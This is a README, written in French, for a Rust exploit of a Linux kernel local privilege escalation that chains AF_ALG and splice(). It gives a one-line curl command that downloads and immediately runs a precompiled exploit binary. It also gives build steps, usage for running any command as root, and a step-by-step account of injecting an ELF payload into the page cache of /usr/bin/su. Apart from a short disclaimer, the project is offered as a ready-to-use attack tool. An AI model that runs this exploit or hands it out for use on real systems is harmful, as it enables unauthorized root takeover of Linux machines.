copyfail-rs

Exploit Copy Fail (CVE-2026-31431) mais en Rust, une vulnérabilité critique enchaînant AF_ALG et splice() pour réaliser une écriture de 4 octets dans le cache de pages, conduisant à une élévation de privilèges locale sur les principales distributions Linux.

Basé sur les recherches et le PoC de Xint Code.

Avertissement

[!CAUTION] Ce projet est uniquement à des fins éducatives et de recherche. Exécuter cet exploit sur des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégal et contraire à l'éthique. Utilisez ce code de manière responsable pour comprendre et vous défendre contre des vulnérabilités similaires.

Fonctionnalités

• Rust pur : Une implémentation haute performance et sûre en mémoire du PoC Python original.
• Générateur d'ELF dynamique : Construit programmatiquement la charge utile de l'exploit à l'exécution, permettant des commandes personnalisées.
• Exploitation zéro-copie : Interagit directement avec les appels système AF_ALG et splice() du noyau Linux via libc.
• Personnalisable : Spécifiez la commande que vous souhaitez exécuter en tant que root via les arguments de la ligne de commande.

Démarrage rapide (en une ligne)

Vous pouvez télécharger et exécuter directement le binaire PoC précompilé :

curl -L https://github.com/sammwyy/copyfail-rs/releases/download/poc/copyfail-rs_x86-64 -o copyfail-rs && chmod +x copyfail-rs && ./copyfail-rs

Prérequis

• Un noyau Linux vulnérable à CVE-2026-31431 (généralement les noyaux antérieurs au correctif d'avril 2026).
• Accès à un binaire cible avec des permissions de lecture (par défaut /usr/bin/su).

Installation

Clonez le dépôt et compilez le binaire :

git clone https://github.com/sammwyy/copyfail-rs.git
cd copyfail-rs
cargo build --release

Utilisation

Exécutez l'exploit sans arguments pour utiliser /bin/sh par défaut :

./target/release/copyfail-rs

Ou spécifiez une commande personnalisée à exécuter en tant que root :

./target/release/copyfail-rs "whoami > /tmp/pwned"

Comment cela fonctionne

L'exploit exploite un bug dans l'implémentation authencesn de l'API Crypto du noyau Linux (AF_ALG). En enchaînant sendmsg avec MSG_MORE et splice(), il est possible d'écraser de petits blocs du cache de pages pour des fichiers arbitraires (comme /usr/bin/su) avec une charge utile ELF malveillante.

1. Configuration du socket : Crée un socket AF_ALG et le lie à authencesn(hmac(sha256),cbc(aes)).
2. Génération de la charge utile : Construit un ELF minimal en mémoire qui exécute la commande cible avec les privilèges root.
3. Injection dans le cache : Insère itérativement la charge utile dans le cache de pages du fichier cible en utilisant la vulnérabilité AF_ALG.
4. Déclenchement : Exécute le fichier cible modifié, lançant le shellcode injecté.

Références

• Article de blog original - Xint Code
• Détails de CVE-2026-31431